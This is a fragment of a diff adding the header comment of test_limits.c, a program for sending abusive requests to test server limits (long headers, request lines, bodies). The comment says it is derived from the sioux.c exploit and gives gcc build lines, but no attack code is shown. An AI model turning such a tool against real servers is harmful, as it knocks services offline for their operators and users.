+ * test_limits.c
+ *
+ * A simple program for sending abusive requests to a server, based
+ * on the sioux.c exploit code that this nimrod posted (see below).
+ * Roy added options for testing long header fieldsize (-t h), long
+ * request-lines (-t r), and a long request body (-t b).
+ *
+ * FreeBSD 2.2.x, FreeBSD 3.0, IRIX 5.3, IRIX 6.2:
+ *   gcc -o test_limits test_limits.c
+ *
+ * Solaris 2.5.1:
+ *   gcc -o test_limits test_limits.c -lsocket -lnsl
+ *
+ *
+ * Message-ID: <861zqspvtw.fsf@niobe.ewox.org>
